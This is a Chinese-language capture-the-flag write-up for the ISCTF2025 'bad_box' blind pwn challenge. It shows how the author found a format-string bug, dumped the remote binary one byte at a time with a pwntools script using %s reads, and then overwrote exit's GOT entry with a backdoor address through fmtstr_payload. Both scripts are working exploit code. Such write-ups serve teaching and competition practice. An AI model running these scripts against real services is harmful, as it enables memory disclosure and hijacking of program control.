bad_box

这题没给我们附件,是一道Blind(盲打),我们首先看到没有什么选项,直接让我们输入

isctf2025bad_box (1).png

这种情况下大多数都是有格式化字符串漏洞,我们试一下

isctf2025bad_box (2).png

这里它确实复读了我输入的内容,但是并没有泄露,我又输入了一长串的%p,这次又每个%p泄露了,所以我猜测这里会根据输入的长度来判断是否会触发格式化字符串,经过我的测试

isctf2025bad_box (3).png

前面31个A最后一个%p刚好能触发格式化字符串漏洞,那我们就可以根据这个来利用%s把源代码泄露了

%s (String)printf 会把栈上的这个数据当作一个指针(内存地址),它会跳转到这个地址指向的内存区域,去读取在那里的字节,直到遇到 \x00 为止。

效果printf 不会打印 0x400000,而是去内存 0x400000 处,把那里的内容(比如 \x7fELF...)打印出来。

用途:这就是“解引用”(Dereference)。只要我们能把想读的地址放到栈上,再用 %s 指向它,我们就能读到那个地址里的内容。

我们测试会发现(nil)-0x401275-0x16daeb3d0-0x7ffc6daeb3e8-(nil)-这里有0x401275,那我们就能知道这里no pie,那我们就能从 0x400000开始,利用%s把整个文件泄露出来

那我们现在要找到正确的偏移量

isctf2025bad_box (4).png

我们可以看到偏移量是8

那我们的泄露部分可以写成:


fmt = f'%{target_offset}$s||||'.encode()
payload = fmt.ljust(header_len, b'A')
payload += p64(current_addr)

这里为保险起见我把header_len设为40,即我们的总长是48,注意,我们这里的长度必须是8的倍数,不然会导致地址错位(这里是64位地址是8字节的),但我们把要打印的放在开头时我们的偏移量是8,那我们前面填充了40字节,我们偏移量就要8+40/8=13,即用%13$s这样指向的就是我们放在结尾的我们要打印其内容的地址

这里是泄露二进制漏洞的脚本:

from pwn import *
HOST = 'challenge.bluesharkinfo.com'
PORT = 24170
context.log_level = 'error' 
def stable_dump_to_file():
    target_offset = 13
    header_len = 40
    start_addr = 0x400000 
    end_addr = 0x401000  
    print(f"[*] 开始稳定 Dump: {hex(start_addr)} -> {hex(end_addr)}")
    print("[*] 结果将保存到: dumped_bin")
    print("-" * 40)
    current_addr = start_addr
    f = open('dumped_bin', 'wb') #open(...):#意思是“打开(或创建)一个文件”。'dumped_bin':是文件名。'wb':意思是“Write Binary”(以二进制写入模式打开)。f:这就是你给这个打开的文件起的名字。
    while current_addr < end_addr:
        try:
            r = remote(HOST, PORT)
            r.recvuntil(b'Have fun', drop=True)
            r.recv(timeout=0.2)
  
            fmt = f'%{target_offset}$s||||'.encode()#.encode是把str转换成bytes,因为我们下面是用bytes
            payload = fmt.ljust(header_len, b'A')#这里的A是bytes,如果fmt不是同种形式就不能运行ljust
            payload += p64(current_addr)#这里也是bytes
  
            r.sendline(payload)
            leak = r.recvuntil(b'||||', drop=True, timeout=2)
            r.close() 
  
            if not leak:
                byte = b'\x00'
            else:
                byte = leak[0:1]#取第一字节
  
            f.write(byte)#写入
            f.flush() #这个是强制直接把write的数据写入硬盘,如果没有这个的话,会先把数据放入缓冲区,如果中途脚本崩溃了,缓冲区的数据就没了,这里是增加稳定性
            print(f"\r[{hex(current_addr)}] Got: {byte.hex()} ", end='')#单行刷新的进度条(让数字在同一行跳动,而不是疯狂换行刷屏)
#\r的意思是:把光标移回到当前行的最开头,当你下一次打印内容时,新的文字会覆盖掉这一行旧的文字
#end=''的意思是:打印完这一句话后,不要换行(不要按回车键),print 函数默认会在结尾自动加一个换行符 (\n)。每打印一次,光标就跳到下一行。
            current_addr += 1
        except KeyboardInterrupt:
            print("\n[-] 用户停止")
            break
        except Exception as e:# 捕获所有错误
            continue# 跳过本次循环剩下的代码,直接开始下一次循环,
#如果出现问题,try就不会执行地址+1,而会执行这个,我们还是读目前地址的内容,相当于自动重试机制

    f.close()
    print(f"\n\n[+] Dump 完成!文件已保存为 dumped_bin")
    print("[+] 请运行: objdump -R dumped_bin 查找 GOT 表")

if __name__ == '__main__':
    stable_dump_to_file()

这里我选择了每次只读一字节(我们知道一个地址只存1字节,我们每次就只读这个地址的内容,因为printf一直读到\x00才停止,可能一次泄露多个地址的值),虽然有点慢,但是稳定,这里原文件比较小,我们可以直接整个泄露出来

我们把泄露出来的二进制文件用ida看

isctf2025bad_box.png

有后门函数,逻辑就是很简单的一个格式化字符串漏洞

这里我们是用不了checksec的,因为有一些部分题目根本就没映射到内存中,所以checksec判定我们的文件是不完整的,那些部分对我们解题是没有影响的,我们这里可以先尝试是否能修改got表,因为没有其他明显的利用漏洞了,我们发现是可以的,那我们就可以把exit的got表修改成后门函数的地址,偏移我们前面也找到了是8

EXP:

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = process('./pwn')
#p = remote('challenge.bluesharkinfo.com',22338)
backdoor = 0x40125B
offset = 8
p.recvuntil(b'Have fun')
exit_got = 0x4033A0
payload = fmtstr_payload(offset, {exit_got: backdoor}, write_size='short')
if len(payload) <= 32:
        payload += b'A' * (33 - len(payload))
p.send(payload)    
p.interactive()

题目链接:

CTF-Writeups/ISCTF2025/bad_box at main · ZenDuk17/CTF-Writeups


bad_box
http://localhost:8080/archives/wei-ming-ming-wen-zhang-muxzSCHe
作者
ZenDuk
发布于
2025年12月11日
许可协议